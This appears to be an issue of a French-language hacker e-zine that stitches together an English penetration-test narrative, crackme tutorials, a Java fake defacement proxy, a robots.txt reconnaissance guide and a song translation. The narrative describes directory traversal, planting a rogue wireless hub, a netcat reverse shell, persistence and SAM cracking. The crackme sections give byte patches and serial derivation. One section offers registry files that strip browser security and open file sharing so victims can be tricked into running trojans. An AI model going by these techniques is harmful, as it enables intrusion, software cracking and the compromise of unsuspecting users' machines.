In my case, I had nothing to lose, so the plan is to download Winvmc on the machine I currently own, initiate the GUI connection from there, and then use the browser installed on the web server to launch a similar attack to the intranet server using the directory traversal vulnerability. From there, I hope to be able to find some usernames and passwords that I can use to gain access to the protected machines in the same fashion as to what I had done so far. So I initiate the Winvnc session, and surprise, I see right in the middle of the screen two pop-up warnings from the antivirus software, generated from the two unsuccessful downloads of hk.exe, 2 days ago. So I click OK to remove any visual evidence of my presence, and I proceed to clean my presence a bit, deleting all the stuff that I won't need anymore. I also notice some of the NT Res kit that I used in another folder that was not mine. That made me wonder if it was the admin who conveniently installed it there for anyone to use, of if it was the I was about to launch IE in order to finish my attack quickly and return to the stealthier DOS command prompt that a second surprise happens: Notepad opens up with a message saying "who r u?". I knew I could be spotted, and I have been spotted. The spelling of the message makes me wonder if I am dealing with a IT
professional or a script kiddie here, but a quick look at the processes running on the machine (ps.exe from the NT Res Kit) shows me that he is connected via a PCAnywhere session, so it's probably a tech support, but he's not in front of the machine. So I write "God" in the notepad message, give him about 5 seconds to read my reply, and then I kill his connection (kill.exe). Then I quickly erased the rest of my files on the machine, and killed my session while I was laughing hard with a colleague beside me.

Too bad that I missed that last vault, and that I have been spotted, but if I wasn't only a guy doing his job, working 9-5 because I also have a life, and under an artificial schedule, I would have cracked it, undetected. A dedicated corporate spy or malicious hacker would have done this at night, and would have been completely undetected for as long as he wants.

Virer les nags du fNaaX's cRACKME #2

Voici un crackme que j'ai trouvé sur le site de la ICITeam (Independent Cracking Institute). Une team de cracking Française. --> www.iciteam.vze.com.
Ici on s'attaque au crackme de fNaaX. Voici les instructions qui sont données :
- Enlever les nags et les splashes
- remplacer la messagebox avec une croix rouge qui dit "NAG SCREEN" par une messagebox avec triangle jaune qui dit "GOOD BOY :)".
L'auteur précise que le texte pour la messagebox est inclut dans le prog.

Voila donc un crackme qui promet d'être intéresant car c'est toujours utile de savoir virer ces trucs (surtout ceux ou ya juste une image).

On lance le prog. Premier truc : un splashe :(
On regarde dans la doc de Falcon a quoi ça peut correspondre... C'est pas une messagebox, ShowWindow bof, WSPRINTF non, c'est SendMessage :)

On lance w32dasm, on désassemble le prog, on cherche notre api dans Imported Functions mais ya que MessageBox et ExitProcess (d'ailleurs ya pas d'entrypoint selon le prog). Ok, on débugge le prog avec les Enable et le Stop Auto On API et on fait des AutoStepOver (vous pouvez faire tourner un peu tout sans le stop on API histoire de faire avancer + vite). Au boût de quelques fenêtre on arrive à :

API LRESULT Arg00 = SendMessageA(Arg01,Arg02,Arg03,Arg04)
API Address=00405078, API Return Address=0040507E <-- call SendMessage en 405078
Arg01 = (HWND) 000a05ce (Window"") Arg02 = (uMSG) 00000172 ->UnKnown Message # Arg03 = (WPARAM) 00000000 Arg04 = (LPARAM) 4d050922
On regarde avant les arguments passés et on voit :
:00405065 FFB5A4224000 push dword ptr [ebp+004022A4]
:0040506B 6A00 push 00000000
:0040506D 6872010000 push 00000172
:00405072 FFB5A0224000 push dword ptr [ebp+004022A0]

Si on les étudie plus en détail on s'apperçoit que ya rien d'intéressant. On continue puis le prog fait un UpdateWindow, la encore rien d'interessant.
On avance de deux pas puis on a un Sleep avec comme premier argument fa0. On fait un coup de calculatrice windows... Ca donne 4000 en décimal.
On prend sa montre chrono, on relance le prog et on regarde combien dur ce splashe. Je mesure 3 sec 87 donc ça doit être quatre secondes.
Inutile d'être Einstein pour comprendre que le premier paramêtre est la durée du Sleep en millisecondes. Donc pour bypasser ce splashe, on va faire ca proprement et faire un Sleep(0).
:0040508A FFB5A8224000 push dword ptr [ebp+004022A8] << argument du sleep (fa0)
:00405090 FF95C2214000 call dword ptr [ebp+004021C2] << appel du sleep
Donc il suffit de remplacer FFB5A8224000 en 6A00 (push 0) et 90909090 (faire rien)
Notez bien l'offset en bas de la fenêtre de win32dasm : 108A
Le prog fait ensuite un DestroyWindow.

On a assez d'info sur le premier splashe. On fait run, il nous affiche la fenêtre principale : rien a modifier dessus. On se remet en AutoStepOver et on clique sur OK.
On tombe sur un vilain nag screen avec comme titre "N@g !!!", comme message "NAG SCREEN" avec une grosse croix rouge :(.
Les lignes qui nous intéressent sont là :

:00401051 6A10 push 00000010 << mais qu'est ce que c'est ??

* Possible StringData Ref from Data Obj ->"QCj#$$$"
|
:00401053 6887224000 push 00402287 << Le titre
:00401058 688F224000 push 0040228F << le texte
:0040105D 6A00 push 00000000

* Reference To: USER32.MessageBoxA, Ord:0000h
|
:0040105F E81D000000 Call 00401081

On ne peut s'empécher de voir dans l'adresse mémoire le "GOOD BOY :)" à l'adresse 40229C. Il suffit donc pour ce qui est du texte de transformer le 688F224000 en 689C224000 soit l'octet à l'offset 659.
Maintenant il faut s'occuper du look de la messagebox. Comme je connais pas le codes pour les types de messagebox je fait une recherche sur les ezines que j'ai sur mon disque (160 Mo de zines et pourtant je garde que les meilleurs. Faut dire ya du Français, Américain, Espagnol, Mexicain...).
Finalement je trouve mon bonheur dans le numéro 4 de Code Breaker. C'est un mag fait par des putains de codeurs de virus (vraiment balaises les gars), vous pouvez télécharger leurs mags sur packetstorm mais faites attention à certains dossiers (ceux qui s'appellent binaries :) Voici la doc qui donnent :
16 stands for a cross red circle with "OK"
17 stands for a cross red circle with "OK" and "Cancel"
18 stands for a cross red circle with "Abort","Retry" and "Cancel"
19 stands for a cross red circle with "Yes","No" and "Cancel"
20 stands for a cross red circle
32 stands for a "!"
34 stands for a "?" with "Abort","Retry" and "Ignore"
37 stands for a "?" with "Retry" and "Cancel"
48 stands for a "!" with "OK" <---------------------------------- C'est celui là qu'on veut
49 stands for a "!" with "OK","Cancel"
50 stands for a "!" with "Abort","Retry" and "Ignore"
51 stands for a "!" with "Yes","No" and "Cancel"
52 stands for a "!" with "Yes","No"
53 stands for a "!" with "Retry","Cancel"
64 stands for a "I" with "OK" --> I = "Information"
66 stands for a "I" with "Abort","Retry" and "Cancel"
67 stands for a "I" with "Yes","No" and "Cancel"
68 stands for a "I" with "Yes","No"
69 stands for a "I" with "Retry" and a "Cancel"

Attention c'est des valeurs décimales !! 48 base10 donne 30 en hexa. Nous on avait avant la croix rouge avec le ok : 16 donc 10 en hexa. Et comme par hazard c'est l'argument qu'on a vu tout à l'heure. On fait donc passer le push 10 (6A10) en push 30 (6A30).

Dernière difficulté : le dernier nagscreen est "planqué" par le programmeur. Vous ne trouverez pas l'appel dans le dead listing mais l'appel est le même et en cherchant avec un héditeur hexa on trouve plusieurs occurences. On en teste 2-3 puis on trouve le bon. Résumé des changements :

652: 	10	30
659: 8F 9C
108A: FF 6A
108B: B5 00
108C: A8 90
108D: 22 90
108E: 40 90
108F: 00 90
3FB9: FF 6A
3FBA: B5 00
3FBB: A8 90
3FBC: 22 90
3FBD: 40 90
3FBE: 00 90

 

Hack The Planet ou How To Code A Fake Proxy For Fun But Not For Profit

Voici une idée qui me trottait dans la tête depuis pas mal de temps : coder un faux proxy. Le principe ? Au lieu de renvoyer la vraie page il renvoie une page défacée. Par exemple si vous demandez la page yahoo.fr, il vous enverra une page du style "sirius_black 0wns yahoo.fr !!". Bien entendu le pseudo du hacker est celui que vous désirez.

Pourquoi Hack The Planet ?
Tout d'abord parce que avec ça vous pourrez faire croire à vos potes que vous êtes le plus grand hacker au monde. Le FBI, la NSA, la NASA, le Pentagonne... Tout ça c'est des victimes de choix. Analyser et les Brazil Hackers Sabotage auront pale alure ;-) Voilà pourquoi ce faut proxy s'appelle Hack The Planet : vous pouvez (faire croire que vous) hacker la planète.
Deuxièmement je l'ai appelé ainsi car HTP correpond à HTTP avec un T en moins. Un clin d'oeil en quelque sorte :-p.

Comment que ca marche ?
J'ai fait deux versions. L'une est en java, elle marche sur toutes les plates formes existantes du moment que vous avez un compilateur java. L'avantage de cette version c'est qu'elle tient sur un seul petit fichier. L'autre version est faite en C. Malheuresement elle ne marche que sous Linux. Là ya un peu plus de fichiers pour la faire marcher (6). Mais j'ai mis un "pseudo" MakeFile.

C'est ok j'ai de quoi faire tourner HTP, mais je fais quoi maintenant ?
Une fois que vous avez compilé votre HTP (./HTPmake avec la version C ou javac HTP.java avec la version java) il ne vous reste plus qu'à lancer le proxy avec les arguments nécessaires. La version java attend 2 paramêtres : le pseudo du hacker puis le port sur lequel le proxy doit tourner. Celle en C attend seulement le pseudo du hacker, le port étant par défaut le 8080, mais il suffit d'éditer le fichier HTPserveur.c pour changer ça.
Ensuite vous devez paramêtrer votre navigateur web. Sous Netscape pas de problèmes, que vous soyez connecté ou non, le proxy répondras. Vous devez juste faire Edition>Préférences>Avancé>Proxies et vous mettez 127.0.0.1 en proxy HTTP avec le port que vous avez choisi.
Sous Internet Explorer (beurk) vous devez être connecté à Internet pour que le navigateur veuille bien parler à votre proxy. Mais personnellement je vous conseille de prendre un navigateur totalement achevé, pas un produit commercial qui a été mis en circulation avant d'être fini et ce juste pour contrer la concurrence. Quoi ? Non non je suis pas contre Microsoft !! C'est juste que voir tout les jours un advisorie sur packetstorm disant que n'importe qui peux prendre le contrôle de votre PC grâce à MSIE 6.0 ça m'énerve X-(

Comme un exemple vaut mieux qu'un long discours voici le code de la version java :

import java.net.*; //les librairies Socket...
import java.io.*; //les entrées sorties

public class HTP{ // on définit la classe HTP

 public static void main(String [] args){
  try{
   if(args.length!=2){
    System.out.println("Usage: HTP <pseudo_du_hacker> <port>\n"); // si pas 2 arguments on dégage
    System.exit(0);
   }

   String s=new String("");
   String eax=new String("");
   byte[] b=s.getBytes();
   boolean ok=false;
   ServerSocket serveur=new ServerSocket(Integer.parseInt(args[1])); // on ouvre un port pour le proxy
   Socket tunnel;
   while ((tunnel = serveur.accept()) != null) { // on tourne en boucle pour que l'on puisse faire plusieurs requêtes
    ok=false;
    InputStream is=tunnel.getInputStream(); // on déclare un InputStream qui lit les données de la socket
    InputStreamReader isr=new InputStreamReader(is); // on le transforme en InputStream Reader
    BufferedReader br=new BufferedReader(isr); // que l'on transforme en BufferedReader, plus pratique car permet de lire des lignes
    OutputStream os=tunnel.getOutputStream();
    while((s=br.readLine()).length()!=0 && !ok){ // on s'arrête quand on lit une chaine vide (fin de requête GET ou fin de l'entête de la méthode POST)
     s=s.toLowerCase();
     System.out.println(s);
     if (s.startsWith("host")){
      ok=true;
      eax=s.substring((s.indexOf(':'))+1); // on récupère le nom du site demandé
     }
    }
    s="HTTP/1.1 200 OK"+(char)0x0d+(char)0x0a+"Content-Type: text/html"+(char)0x0d+(char)0x0a; // on fabrique une réponse
    if(!ok) eax="Hacked by "+args[0]; // si on a pas récupéré une adresse internet on met juste Hacked by <ton_pseudo>
    else eax=args[0]+" 0wns "+eax; // sinon on met <ton_pseudo> 0wns <le_site_demandé>
    eax="<center><h1>"+eax+"</h1></center>"; // on rajoute un peu de mise en forme
    s=s+"Content-Length: "+eax.length()+(char)0x0d+(char)0x0a+(char)0x0d+(char)0x0a; //on forge la réponse en conséquence
    s=s+eax;
    os.write(s.getBytes()); // on l'envoie
    eax="";
    s="";
    os.close();  // on ferme la sortie et on boucle
   }
  }
  catch(IOException e){
   System.out.println("Erreur "+e); // en cas d'erreur on écrit dans la console
  }
 }
}

Je ne met pas la version C dans le zine (elle est dans le dossier fichiers). D'abord parce qu'elle est trop longue et plus difficile à comprendre. En fait la version C est basé sur deux programmes principaux. Il y a le serveur HTP qui recoit les requêtes et redirige les entrées sorties vers le deuxième programme qui traite les données. En fait le serveur HTP marche de la même façon que NetCat. D'ailleurs j'essayerais de faire une version Windows qui marche avec NetCat. Ca devrait pas être bien difficile. Toutefois si vous vous en sentez le courage n'hésitez pas à programmer une version WinSock où à améliorer mes versions. Je serait ravi de les mettres dans les prochains numéros de mon mag.

Exemple d'intrusion réussie (numéro 2)
The second victim

Pseudonym : Trust-us e-commerce inc. Type of company : e-commerce company, implements B2B and B2C solutions for businesses Time allowed to hack : 3 man/days Goal : penetrate the network as far as possible and get evidence of intrusion

So my first impression of a big corporate network (from my previous work experience at a telecommunications company, see Virus protection in a Microsoft Windows network, or How to stand a chance) from the security point of view proved to be true with my successful and easy network intrusion I had done for XYZ Media Publishing Corporation. I was anxious to see how I would fare against an e-commerce company. I was curious to see if they really cared about security, given their area of expertise.

So the hack started pretty much the same way as the first one: DNS lookups, whois, portscan, etc. It turns out that there's about 5 or 6 machines reachable via the Internet. 2 *nix DNS servers, 1 Exchange mail server, and a couple IIS machines. These machines are all firewalled and only allow very specific traffic : http, https, DNS, SMTP. But remember that if one of these services is vulnerable, it can be exploited and the firewall won't be effective at blocking the attack. I issue a whisker scan on the webservers to see if there's any known vulnerabilities on the web server itself, and in the cgi programs as well. The machines turns out to be pretty secure, even if they are NT boxes. The server appears to be patched up to date, and non-necessary services have been removed from IIS (such as idq requests, asp pages, default sample pages). So I can't use the directory traversal vulnerability on this one. I try to screw up with some invalid requests in the cgi programs, trying to see if I can provoke

We had received some new toys a couple of weeks before, and we couldn't wait to try them in the field. We had a wireless hub and a pair of PCMCIA wireless network cards. I don't know how much this equipment costs, but it shouldn't run above 2-3 k$, probably less. Not exactly cheap, but not unnafordable to individuals. So we decided to attempt a physical intrusion in their offices and plant the wireless hub on their internal network and see what happens next. We were three persons to do this operation, but it could have been achieved by only a single person.

We thought a bit about doing a masquerade and pretend that we were from the phone company or something, all along with the uniforms and even a line tester that makes bip-bip sounds that are sure to convince any non-technical person unfamiliar to this kind of equipment. We even had the floor plan, that my boss asked to the facilities management guy (those who manage building services). He gave the plans to my boss without asking any ID or whatever, my boss simply told him that he was working for Trut-us e-commerce inc, and that was it! My boss was even left alone in the facilities guy office for about half an hour, even time to give him the opportunity to take a peek or two, or steal one of the uniforms hanging by the door if he wanted to.

But instead, we chose a simpler course; simply walk in dressed casual (average employee age at Trus-ut is about 25-30) and pretend to belong there. The company is quite new, and they are hiring new staff, so it's quite normal for a place like this to see new faces. So the plan was to have one person walk in the offices, avoiding the main entrance of the offices if possible, to avoid the receptionist desk, and put the wireless hub on the network, in a free LAN jack in the photocopier room (as we could see from the floor plan). And to collect any valuable data the onsite visit can provide. In the meantime, another colleague would be sitting in a toilet stall with his laptop equipped with the wireless network card and try to get access to the network. If he proved successful, he would iniate a netcat connection from one of their machines to my laptop, and then leave the premises. As for me, I will be at our offices, hooked up on the ADSL link, and waiting for the netcat connection to come to me. Once I
g

And that's exactly what happened! My first colleague got in from the door beside the staircases, going inside with other people that were coming back from a cigarette break. He went to the photocopier room, and plugged the wireless hub to the network, and hid it behind some boxes. After that, he walked across in the offices, a lot of cubicles being empty, as the company had plans for growth. He said "Hi!" to a couple of persons who were having a conversation. He found an employee list on a desk, with all the phone numbers and positions in the company. He went back to the photocopier room, and made a copy. He also looked for other stuff, but it was hard to figure out what paper documents are about without looking suspicious. So after half an hour, he simply took the hub back with him and left the premises.

Meanwhile, colleague #2 is in the bathroom stall with his laptop. He waits about 5 minutes to give #1 enough time to plant the bug. Then he boots up his machine and he automatically gets an IP address from the internal network DHCP server. That's a good start! It takes him no time to take control of an internal web server to launch the netcat connection to me (with full SYSTEM/NT_AUTHORITY privileges, of course). While I put my scheduled jobs on this machine to keep a point of entry, he goes on an exploration tour of the rest of the network, stops in a couple workstations to download some files, and leaves after 15 minutes, after making sure with me that everything was under control on my side (using a text file to send messages to each other).

As for me, I started doing the usual stuff, downloading the server's SAM file, cracking it, exploring the contents of some workstations, visiting the servers and the PDC/BDC getting these SAMs also. I downloaded some of their website source code, looked a test systems, and the customer database, etc. I could see that there were firewalls between some of the internal network segments, but all netbios ports were allowed, since these machines were all part of the same NT domain. I accidentally killed my session, but it came back to me exactly when I expected it, so I could continue without any problem. At the end of the day, our mission was done.

Again, we were three persons to implement this attack, but this could be done by a single person. We only had one day left to perform the intrusion, so we had to be efficient and well prepared. But a single well prepared person, having no other schedule than his own, could have easily walked in the offices, plant the hub on the network, go in the bathroom, schedule hk2 netcat sessions at specific times, and go home and simply wait for the connections to initiate. Then he is free to do all he wants.

Voilà !!! Ca vous a plu ? Sachez que le texte ne s'arrêtent normalement pas là. Ya une conclusion et pi une espèce de truc qui sert à rien. Comment ça s'appelle déjà ? Un disclaimer ? Sinon ya des phrases qui sont coupées dans le texte mais elles étaient déjà coupées dans l'original :(

Traduction de Come Out And Play

Voix off : T'as intérêt à les séparer

Comme la dernière mode
Comme une maladie contagieuse
Les gamins se batent sur le chemin de l'école
Se procurant des armes avec une grande facilité
Les gangs s'approprient les campus
S'ils t'attrapent c'est fini pour toi, mon gars
Si deux mecs ne portent pas les mêmes couleurs
Ils vont se tabasser
Tabasser Tabasser

--partie A--
C'est à moi que tu parles comme ça ?
Virez-le de là !
T'as intérêt à les séparer
--fin partie A--

--partie B--
Hé tu me manques de respect ?
Virez le de là !
T'as intérêt à les séparer
--fin partie B--

--partie C--
Mais ils n'en ont rien à faire
Si t'es mineur ça ne durera pas
Viens jouer
--fin partie C--

Quand tu entends la sirène c'est déjà trop tard
L'un va à la morgue et l'autre en prison
L'un est foutu et l'autre un sale type

--partie D--
C'est arrivé un millier de fois
Personne n'en tire les leçons
Ce tourbillon de mort, de violence et de haine
Creusera votre propre tombe (X2)
--fin partie D--

B-A-C-D-A-B-C

Crackme de jB : pas de bouton de vérification

Dans cet exemple on va donc s'attaquer aux progs qui demande un serial mais où ya pas de boutons du style "vérifier" ou "ok" qui lancent la procédure de vérification. Il est toujours utile de savoir comment les prendre car quand on en connaît un, on sait tous les faire :) Peut être qu'au bout d'un moment je vous aurais donné tous les exemples "types" ;)
En fait si le prog ne nous propose pas de vérifier le sérial c'est qu'il le vérifie sans cesse, tant que l'on interragi avec le prog (tant que la fenêtre est active sous windows). Deux possibilités : soit le prog vérifie (sans cesse) la taille du serial puis si c'est bon il vérifie le code en lui même. Ou alors il vérifie direct la validité du code.
Mais quelque soit le cas, nous utilisons toujours là même méthode : on fait un break la où le prog lit ce qu'on lui passe puis on trace jusqu'à la procédure en question.

Bon dans ce tut j'utilise WinDbg qui, il faut l'avouer est carrèment bien :) Microsoft l'ami des crackers et de la gratuité ? Je sais ça donne faux :) Mais bon le fait est là : winDbg est la solution de choix pour débugger sous XP.

Donc on ouvre winDbg, Choose Executable > Crakme2.exe. il nous propose un 'save Workbase information' on dit non. On clique sur le bouton des registres (celui avec un 0 et un x) pour faire apparaître la fenêtre correspondante. on clique sur 'Customize' pour définir l'ordre d'affichage des registres (pour moi : eax ebx ecx edx edi esi ebp esp eip passent en premier).
On fait ensuite Window > Tile Horizontally car la fenêtre du dead listing a tendance à se cacher derrière les autres.
On tape 'g' pour lancer le crackme. on le déplace à droite de l'écran parce que sinon il va nous faire chier pour lire ce qu'on fait (quand on débugge on peut plus le bouger). On entre notre code ('SIRIUS_BLACK' mais c'est mis automatiquement en majuscules) et on clique pas sur le bouton car yen a pas !!! (ben oui ca vous change de d'habitude :)

On passe sous winbg et on clique sur le 4ème bouton avec une feuille de papier (ya des espèces de vagues à côté) pour breaker. On entre alors 'bp GetWindowTextA' car c'est l'API qui va lire notre serial. On relance ('g') et on clique sur la fenêtre du crackme. BAM !! On break !!! Je vous avait prévenu qu'il tournait en boucle :p
On fait un Shift+F11 pour sortir du call (WinDbg est vraiment pompé sur Softice).
On voit ça :

push [ebp+0x08]
call 0040121C (GetDlgItemTextA) <-- c'est là d'où on vient
shl eax, 0x3
xor eax, 0x12
cmp eax, 0x52
jne 00401125 <-- saute vers BAD BOY
push 0042012
call 004010AA
cmp dl, 0x1
jne 00401125 --> saute vers BAD BOY
GOOD BOY

Juste quand on sort du premier call, dans eax ya la longueur de notre code : Ch (h comme hexa) soit 12d (d comme décimal). Cette valeur est décalée de trois bits sur bits sur la gauche (l comme left) puis xoré avec 12h. si le résultat vaut 52h alors on a la bonne longueur.
Avec SIRIUS_BLACK, la longueur est 12d soit 1100b (b comme binaire). On décale de 3 bits sur la gauche, ca nous donne 1100000b. Ensuite on xor avec 12h --> 72h.
Le résultat n'est pas 52h, c'est pas la bonne longueur.
Alors on réfléchie en sens inverse : à la fin on doit avoir 52h. Comme le xor est une opération réversible (je veux dire que (A xor B) xor B donne A) alors on peut trouver la valeur attendu avant le xor. 52 xor 12 ça donne 40h soit 1000000b. Puis on fait l'inverse du shl : un shr (décalage sur la droite) de 3 crans.
On obtient 1000b soit 8d. Le crackme attend donc un code de longueur 8.

On racourci notre code ('SIRIUS_B') et on recommence. Maitenant on arrive sur le second call. Notre code est placé sur la pile.
Après quelques saut on arrive ici :

mov eax, 402012 <-- adresse de notre code
mov ecx, [ecx] <-- ecx prend le contenu du code ou plutôt les 4 derniers caractères car 1-Un registre fait 32 bits et 2-Les chaines de caractères sont stockées à l'envers dans la mémoire. Si bien que ecx prend 'IRIS' soit 49,52,49,53 en hexa.
...
xor cl, al <-- al vaut 52h et cl est le premier caractère du code ('S'). Le résultat est cl=01. La code est donc devenu 49,52,49,01
mov dl, al <-- eax=52
...
shl edx, 8 <-- décalage de 8 bits, 52 devient 5200
or dx, ax <-- dx = 5200 or 52 = 5252
xor cx, dx <-- cx = cx xor dx = 4901 xor 5252 = 1b53. Le code devient donc 49,52,1b,53
shl edx, 10 <-- 5252 devient 52520000
or edx, eax <-- edx = 52520000 or 5252 = 52525252
xor ecx, edx <-- ecx = 49521b53 xor 52525252 = 1b004901
cmp ecx, 07114501 <-- résultat attendu
jnz 0040111F

Il faut donc avoir 07114501 à la fin.
Reprenons depuis le début : Notre code est mis dans un registre donc on prend que les 4 premiers caractères.
Le résultat est xoré avec 00000052
Le résultat est xoré avec 00005252
Le résultat est xoré avec 52525252
Comme le xor est réversible notre code est en fin de compte xoré avec 52520052.
Il faut obtenir 07114501. On xor ce nombre avec 52520052 et on obtient 55434553 soit 'UCES'. Comme la string est à l'envers on en déduit que le début du bon code est 'SECU'. Or le code est sur 8 lettres. Je refléchi au premier mot qui satisfait ça : SECURITY, je l'entre, c'est bon !!

Trouver des documents confidentiels sur un serveur

Hehehe !! Voilà un truc que j'ai découvert ya pas si longtemps mais qui date quand même un peu. Cela dit ça devient super intéressant si l'admin du serveur n'est pas très malin :) On commence par une petite intro/défouloir.

Bon, vous venez d'acheter le dernier zataz version papier et vous apprennez que ce cher Damien Bancal a une fois de plus découvert qu'il était possible d'accèder aux codes de lancements des missiles américains et ce juste en tappant une url dans un navigateur. Décidemment il est très fort ce Bancal !!! Comme c'est aussi quelqu'un d'une infinie bonté et que ces informations pourraient devenir plus que dangereuses dans des mains ennemies, il met vite au courant l'administrateur du site, qui comme par hazard n'était pas au courant (LoL : - Eh patron !!! Ya encore un lamer qu'à découvert nos faux codes de lancement à la place d'un taliban !! Qu'est-ce qu'on fait ? - Ben tu les changes connard !!!). Et puis ils sortent le champagne (Youpi !! C'est la fête du slip !!!). Attention ne manquez pas le prochain numéro avec tout sur comment Damien Bancal a réussi à déjouer les plans d'une bande de hackers-terroristes russe qui essayait de s'emparer par le biais de la steganographie des plans de la prochaine navette spaciale américaine !! Et comment il a spoofé le serveur de saddam hussein pour récupérer les démarches stratégiques de ce dernier dans un microdisque et aussi quand il a sauve James Bond d'une mort attroce !!

Mais alors comment il fait ? Ben en fait voilà une des réponses possibles. Les moteurs de recherche, appelés agents intéligents, ou plus dans notre cas robots d'indexation recherchent sans relache toute sorte d'information et ils les stockent en mémoire. Quand on leur soumet une page, il la déplombe, regarde les balises META pour connaître le sujet, les mots clés... Puis il étudient le reste de la page et récupère les liens insérés dans les pages. Ensuite ils visitent les pages sur lequelles pointent ces liens et ainsi de suite...
Vous avez sûrement remarqué quand vous faite une recherche sur Google le lien "relancer en incluant les pages similaires". Ben en fait comme le robot d'indexation est pas si intelligent car pour lui la même page web avec deux sessions différentes n'est pas la même page. En fait quand le robot arrive sur infoshackers par exemple, il lui est donné une clé de session. Le lien alors créé dinamiquement est de la forme infoshackers.com/index?id=dfgdg654dfg. Le problème c'est que quand il revient, il ouvre une autre session et le lien n'est plus le même. Si vous cliquer sur "relancer en incluant les pages similaires" vous tomberez sur 96 fois la page d'accueil de infoshackers mais juste avec des clés de sessions différentes.
De même ces robots peuvent se montrer indiscret et une page perdue dans l'internet qui se croyait à l'abri des regards simplement car l'adresse n'a pas été enregistrée auprès des annuaires se retrouvera tôt ou tard cataloguée.

Les plaintes faites par les administrateurs ont montées en force et le W3C a fini par trancher : les différents robots doivent être capable de ne pas indexer des pages si on leur le demande. Le W3C a donc défini une norme qui s'est divisée en deux techniques mais seule la première nous intéresse vraiment.

En fait il suffit à l'administrateur de mettre à la racine de son serveur un fichier robots.txt (toujours avec un 's' et toujours en minuscules) qui déclare au robot qui passerait quelles pages il a le droit de visiter, et quelles pages il lui est interdit d'enregistrer.

Ce fichier peux contenir des commentaires si ils commencent par un # (comme en script Unix).
Il s'articule auprès de trois variables qui peuvent être répétées autant de fois que l'on veut mais elles respectent presque toujours le même ordre.
La première variable utilisée est la variable 'User-agent'. Vient ensuite les variables 'Disallow' et 'Allow'. Comme un exemple vaut mieux qu'un long discours...

#exemple de robots.txt
#doit être placé à la racine du site. Par exemple : www.fbi.gov/robots.txt
User-agent: Yahoo #la suite ne concerne que le moteur Yahoo
Disallow:/cgi-bin/ # interdit Yahoo de fouiner dans le repertoire des CGIs

User-agent: Googlebot # la suite ne concerne que le moteur de Google
Disallow:/top-secret/ # on peut mettre plusieurs disallow à la suite
Disallow:/admin/
Disallow:/test.html

User-agent: Scooter # nom du robot de Altavista
Disallow: #on lui permet de tout prendre, pareil que Allow:/ (la racine)

User-agent: Gulliver # robot de Northern Light
Disallow:/ # Ce robot ne doit rien indexer

User-agent: ArchitextSpider #(Excite)
Allow: /index.html
Allow: /miroir.html # si l'index ne fait pas le lien sur le miroir, il est judicieux de demander au robot de l'indexer
#####FIN########

Notez que l'on peut le faire en s'adressant à tous les robots :
User-agent: *
En revanche l'étoile ne marche pas avec les permissions (pas de /admin/*) car le caractère clé est '/' qui permet soit de tout prendre ou soit de ne rien prendre.

Vous comprenez que si l'admin n'est pas malin, il n'a pas pensé qu'un pirate peut demander son fichier robots.txt et voir par exemple qu'il existe un rep admin, un rep top-secret ainsi qu'une page test.html caché aux yeux du meilleur moteur de recherche : Google. En effet Google a évolué mais son noyau, Googlebot n'a pas changé depuis la création de la startup, comme quoi il est super puissant.

Qui a intérêt à ne pas voir des documents secrets archivés par des moteurs de recherche ? Beaucoup de monde évidemment :) Mais si vous regardez les sites militaires américains vous vous appercevrez qu'ils en sont bondés. Certains ont même un message aux hackers du style :
# Les documents de ce site sont confidentiels..... puni par la loi...
Evidemment quand ça commence comme ça vous trouverez pas de liens intéressant. Mais certains ni pensent pas et il est donc possible de trouver de tels documents.

Deuxième méthode : on l'inclue dans des balises méta. La différence ? Pas de notion de sécurité. Juste si on veux que le moteur de recherche suive toujours le même chemin en visitant le site, il suffit de mettre dans la page les balises suivantes :
<metaname="robots" content="noindex, follow">
n'indexe pas la page, visite les liens.
<metaname="robots" content="noindex, nofollow">
n'indexe pas la page, ne visite pas les liens.
<metaname="robots" content="index, follow">
indexe la page, visite les liens.
<metaname="robots" content="index, nofollow">
indexe la page, ne visite pas les liens.

Références : www.devparadise.com, www.e-pub.cc et www.robotstxt.org
Les noms des différents moteurs est ici : http://www.robotstxt.org/wc/active/html/
Bon hack !!

Rendre une personne vulnérable sur Internet - Utilisation sournoise de la base de registre par OS4M4CKERS

Cette fois OS4M4CKERS nous a concocté deux fichiers reg (base de registre windows) mais pas les moindres car l'un permet de baisser au maximum la sécurité du navigateur Internet Explorer (msie.reg dans le rep "fichiers") rendant alors ce dernier vulnérable aux dernières failles de sécurités (exécution de code arbitraire ou téléchargement d'un logiciel puis installation). On peut alors se débrouiller pour que la victime lance à son insus un cheval de troie ou autre.
Le second fichier reg ("share-on.reg) va magnifiquement bien avec le premier car il permet de mettre le PC en partage NetBios facilitant nettement la tache du pirate. Mélangée avec un peu de social engeneering, le résultat est détonnant :) (ouais bon j'ai utilisé le champ lexical de la cuisine mais bon c'est pour le staïle !! Alors Maïté, quoi de neuf aujourd'hui ?)

Vous n'aurez pas à chercher beaucoup pour trouver un exploit pour IE6, une simple recherche sur packetstorm suffira :)
D'ailleurs vous trouverez ci-joint un exploit à titre de démonstration (malware.html), totalement inoffensif car il s'agit juste d'un joli effet de feu en assembleur. Cette faille est la plus dangereuse découverte sur msIE6 car elle exécute du code arbitraire qui est inclue dans la page html elle-même et non pas déjà installé sur le PC de la victime. Ben oui, d'un simple clic, vous pouvez tomber sur le pire des virus :( Il est possible que cette page soit considérée comme un virus par votre antivirus mais je vous rassure elle est totalement inofensive (ne marche que sous IE6).

Pendant que l'on est dans IE et la base de registre, ça vous dirait pas de changer le titre de la fenêtre ? Je veux parler du "Microsoft Internet Explorer fournis par ..." ?
Ben oui c'est possible !! Il existe une valeur qui correspond à ce titre dans la base de registre. Vous trouverez de quoi modifier cela dans le fichier title.reg.

Conclusion

Voici le moment que vous attendez tous, c'est à dire comme à chaque fin de LOTFREE, la célèbre question : Que vas t'on faire la prochaine nuit Cortex ? Et bien la même chose que toute les nuits Minux, tenter de conquérir le monde !!! Nan évidemment, la question est "Est-ce que y'aura un LOTFREE#06 ?"
Ben je vais dire oui, mais dans combien de temps ? Oulala !! Faut mieux pas que vous soyez impatient !!!
De même le contenu aura sans doute changé, plus de programmation sûrement :) Mais j'essayerais de continuer car c'est triste tous ces zines qui s'arrêtent quand ils deviennent intéressant :)
Je vais en profiter pour faire une interface pour mon site, mettres des rubriques (sisi c'est possible !! Bon la page n'a pas changé de couleur et d'image depuis 3 ans mais je vais mis mettre ;)

Sinon je ne pouvais pas finir sans saluer Sword'O'NeØv3riÐe qui a accepté de mettre mon zine accessible sur son site (www.mgth.fr.st si je me trompe pas) et aussi à tous ces enculés de infoshackers.com que j'apprécie beaucoup :)

A et puis au fait : FUCK THIS FUCKING MOTHERFUCKER DISCLAMER !! FUCK THAT BULLSHIT MOTHERFUCKER HACKER !!!
